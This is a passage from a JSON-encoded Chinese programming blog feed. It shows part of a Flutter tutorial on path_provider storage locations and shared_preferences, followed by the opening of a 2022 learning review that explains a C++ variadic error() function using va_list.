class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"path_provider\"\u003epath_provider\u003c/h4\u003e\n\u003cp\u003e作为一个跨平台的开发框架,Flutter 要能适应很多方面,其中最主要的就是存储位置。我们要存储一个文件的时候,需要在不同设备上,找到对应的位置。而在很多设备上,相同类型文件的存储地方是不一致的。\u003ccode\u003epath_provider\u003c/code\u003e能够让我们找到相应的位置。具体使用方式请参阅它的文档。\u003c/p\u003e\n\u003cp\u003e以下这个表格能体现出存储地方不同的问题:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDirectory\u003c/th\u003e\n\u003cth\u003eAndroid\u003c/th\u003e\n\u003cth\u003eiOS\u003c/th\u003e\n\u003cth\u003eLinux\u003c/th\u003e\n\u003cth\u003emacOS\u003c/th\u003e\n\u003cth\u003eWindows\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTemporary\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Support\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Library\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eApplication Documents\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Cache Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eExternal Storage Directories\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003ctd\u003e❌️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDownloads\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下是我程序的一份示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Loading cookiejar.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 先获取到 ApplicationSupport 的位置在哪\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003egetApplicationSupportDirectory\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 注意 supportPath.path,这里我读取了路径结果\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/sport\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eIDSCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/ids\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"shared_preferences\"\u003eshared_preferences\u003c/h4\u003e\n\u003cp\u003e我们程序更多的是要在本地存储一些简单的设置信息,具体来说,是很简单的 key-value 东西了。比如说,你的学号和密码是什么,你的宿舍号之类。我们使用 shared_preferences 来解决这个问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 初始化一个示例\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设置一份 key-value\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 读取一份 key 对应的数据\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 清除所有设置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://dart.dev/language\" target=\"_blank\" rel=\"noopener\"\n \u003eDart 语言官方简介\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/get-started/codelab\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 上手教程\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/development/ui/layout/tutorial\" target=\"_blank\" rel=\"noopener\"\n \u003e布局构建教程\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\n \u003eTraintime PDA (Watermeter) 代码\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"封面\"\u003e封面\u003c/h2\u003e\n\u003cp\u003eMaggie 去日托所的一天。\u003c/p\u003e\n\u003cp\u003e主要看中了蝴蝶,因为蝴蝶和 Dart 的吉祥物蜂鸟类似。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Random/Cirno-Easter%20Egg.png\" alt=\"Featured image of post 我在 2022 年学到了什么\" /\u003e\u003cp\u003e把去年学到的东西,没说过的拼接一下,回见了您。\n(之前名称叫 Hadoop 额外技能,不能就这样就和老博客同步,索性把大作业里面我顺手提到的东西都罗列一通)\u003c/p\u003e\n\u003ch2 id=\"c-大作业技术罗列\"\u003eC++ 大作业技术罗列\u003c/h2\u003e\n\u003cp\u003eC++ 大作业学到的偏门东西。\u003c/p\u003e\n\u003ch3 id=\"va_list-对象\"\u003eva_list 对象\u003c/h3\u003e\n\u003cp\u003e不用 \u003ccode\u003eprintf()\u003c/code\u003e 函数,运用 \u003ccode\u003ecstdarg\u003c/code\u003e 库实现类似该函数的 \u003ccode\u003eerror()\u003c/code\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e函数原型\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e算法\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e生成 \u003ccode\u003eva_list\u003c/code\u003e 对象,然后初始化。\u003c/li\u003e\n\u003cli\u003e通过对母字符串的逐个字符读取,判断以下情况:\n\u003cul\u003e\n\u003cli\u003e如果不是 \u003ccode\u003e%\u003c/code\u003e 直接输出。\u003c/li\u003e\n\u003cli\u003e如果是 \u003ccode\u003e%\u003c/code\u003e, 后面跟着是:\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align:center\"\u003e输入 |\u003c/th\u003e\n\u003cth style=\"text-align:center\"\u003e输出 |\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003es |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符串 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ec |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ed |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e整型数 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003e% |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e\u003ccode\u003e%\u003c/code\u003e符号 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e注意判断字符还是整数的时候,先按照整型数读入,然后按情况强制类型转换看看。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ecstdarg\u003c/code\u003e 函数库怎么搞不定长形参的?\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e形参的最后一定要是省略号。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_list\u003c/code\u003e 规定一个不定长形参变量。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_start\u003c/code\u003e 让其找到开始位置,之后 \u003ccode\u003eva_arg\u003c/code\u003e 向后读取一个参数。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_end\u003c/code\u003e 终止 \u003ccode\u003eva_list\u003c/code\u003e 存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C++\" data-lang=\"C++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstdarg\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_list\u003c/span\u003e \u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e 